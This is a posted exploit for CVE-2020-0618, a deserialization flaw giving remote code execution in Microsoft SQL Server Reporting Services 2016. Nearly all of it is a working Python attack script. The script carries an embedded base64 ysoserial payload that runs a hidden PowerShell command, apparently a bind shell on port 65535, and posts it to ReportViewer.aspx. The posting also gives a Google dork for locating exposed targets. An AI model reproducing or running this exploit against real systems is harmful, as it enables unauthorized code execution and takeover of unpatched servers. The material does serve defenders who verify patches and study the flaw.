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Microsoft SQL Server Reporting Services 2016 Remote Code Execution

Microsoft SQL Server Reporting Services 2016 Remote Code Execution
Posted Sep 17, 2020
Authored by West Shepherd

Microsoft SQL Server Reporting Services 2016 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-0618
MD5 | ce6d37b9f76993c4ef670912502b7095

Microsoft SQL Server Reporting Services 2016 Remote Code Execution

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# Exploit Title: Microsoft SQL Server Reporting Services 2016 - Remote Code Execution
# Google Dork: inurl:ReportViewer.aspx
# Date: 2020-09-17
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: Microsoft SQL Server 2016 32-bit/x64 SP2 (CU/GDR), Microsoft SQL Server 2014 32-bit/x64 SP3 (CU/GDR), Microsoft SQL Server 2012 32-bit/x64 SP2 (QFE)
# Tested on: Windows 2016
# CVE : CVE-2020-0618
# Credit goes to Soroush Dalili
# Source:
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618
# https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

#!/usr/bin/python
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_ntlm import HttpNtlmAuth
import argparse, requests, logging
from bs4 import BeautifulSoup
from sys import argv, exit, stderr, stdout

# to create a payload (default is bindshell on 0.0.0.0:65535):
# .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command..."


class Exploit:
payload = '/wEy4hYAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAqAUvYyBwb3dlcnNoZWxsLmV4ZSAtZXhlYyBieXBhc3MgLW5vbmludGVyYWN0aXZlIC1ub2V4aXQgLXdpbmRvd3N0eWxlIGhpZGRlbiAtYyBpZXgoW3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6ZGVmYXVsdC5nZXRzdHJpbmcoW3N5c3RlbS5jb252ZXJ0XTo6ZnJvbWJhc2U2NHN0cmluZygnSkdFOVczTjVjM1JsYlM1dVpYUXVjMjlqYTJWMGN5NTBZM0JzYVhOMFpXNWxjbDAyTlRVek5Uc2tZUzV6ZEdGeWRDZ3BPeVJqUFNSaExtRmpZMlZ3ZEhSamNHTnNhV1Z1ZENncE95UmxQU1JqTG1kbGRITjBjbVZoYlNncE8xdGllWFJsVzExZEpHYzlNQzR1TmpVMU16VjhKWHN3ZlR0M2FHbHNaU2dvSkdnOUpHVXVjbVZoWkNna1p5d3dMQ1JuTG14bGJtZDBhQ2twTFc1bElEQXBleVJzUFNodVpYY3RiMkpxWldOMElDMTBlWEJsYm1GdFpTQnplWE4wWlcwdWRHVjRkQzVoYzJOcGFXVnVZMjlrYVc1bktTNW5aWFJ6ZEhKcGJtY29KR2NzTUN3a2FDazdKRzQ5S0dsbGVDQWtiQ0F5UGlZeGZHOTFkQzF6ZEhKcGJtY3BPeVJ3UFNJa0tDUnVLU1FvS0hCM1pDa3VjR0YwYUNrK0lqc2tjVDBvVzNSbGVIUXVaVzVqYjJScGJtZGRPanBoYzJOcGFTa3VaMlYwWW5sMFpYTW9KSEFwT3lSbExuZHlhWFJsS0NSeExEQXNKSEV1YkdWdVozUm9LVHNrWlM1bWJIVnphQ2dwZlRza1l5NWpiRzl6WlNncE95UmhMbk4wYjNBb0tUc05DZz09JykpKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL'
timeout = 0.5
cookies = {}
params = {}

def __init__(self, opt):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.username = '%s\\%s' % (opt.domain, opt.username)
self.target = '%s%s' % (opt.target, opt.path)
self.password = opt.password
self.session = requests.session()
self.redirect = opt.redirect
self.proxies = {
'http': 'http://%s' % opt.proxy,
'https': 'http://%s' % opt.proxy
} if opt.proxy != '' else {}
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)',
'Content-Type': 'application/x-www-form-urlencoded'
}
self.form = {
'__VIEWSTATE': '',
'NavigationCorrector$PageState': 'NeedsCorrection',
'NavigationCorrector$ViewState': self.payload
}
if opt.debug:
self.debug()

def info(self, message):
stdout.write('[+] %s\n' % str(message))
return self

def error(self, message):
stderr.write('[-] error: %s\n' % str(message))
return self

def doGet(self, url, params=None, values=None):
self.info('sending get request to %s' % url)
try:
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=values,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
) if self.username != '\\' else self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=values,
params=params
)
except Exception as err:
self.error(err)

def doPost(self, url, values=None, params=None):
self.info('sending post request to %s' % url)
try:
return self.session.post(
url=url,
data=values,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params,
auth=HttpNtlmAuth(self.username, self.password)
) if self.username != '\\' else self.session.post(
url=url,
data=values,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params
)
except Exception as err:
self.error(err)

def parsePage(self, content):
self.info('parsing form values')
soup = BeautifulSoup(content, 'lxml')
for tag in soup.select('input'):
try:
self.form[tag['name']] = tag['value']
except Exception as err:
self.error(err)
return self

def debug(self):
self.info('debugging enabled')
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self

def getForm(self):
self.info('retrieving form values')
resp = self.doGet(url=self.target)
self.parsePage(content=resp.content)
return self

def exploit(self):
self.info('exploiting target')
resp = self.doPost(url=self.target, params=self.params,
values=self.form)
self.info('received response %d' % resp.status_code)
return self


if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='CVE-2020-0618 SQL Server Reporting Services
ViewState Deserialization exploit',
add_help=True
)
try:
parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com ')
parser.add_argument('-username', action='store', default='',
help='Username to use: first.last')
parser.add_argument('-domain', action='store', default='',
help='User domain to use: domain.local')
parser.add_argument('-password', action='store', default='',
help='Password to use: Summer2020')
parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
parser.add_argument('-redirect', action='store',
default=False, help='Follow redirects: False')
parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')
parser.add_argument('-path', action='store',
default='/ReportServer/pages/ReportViewer.aspx', help='Path to page')

if len(argv) == 1:
parser.print_help()
exit(1)

options = parser.parse_args()
Exploit(opt=options).exploit()

except Exception as error:
stderr.write('[-] error in main %s\n' % str(error))


Regards,

West Shepherd
OSWE | OSCE | OSCP | OSWP | CEH | Security+
West Lee Shepherd, LLC
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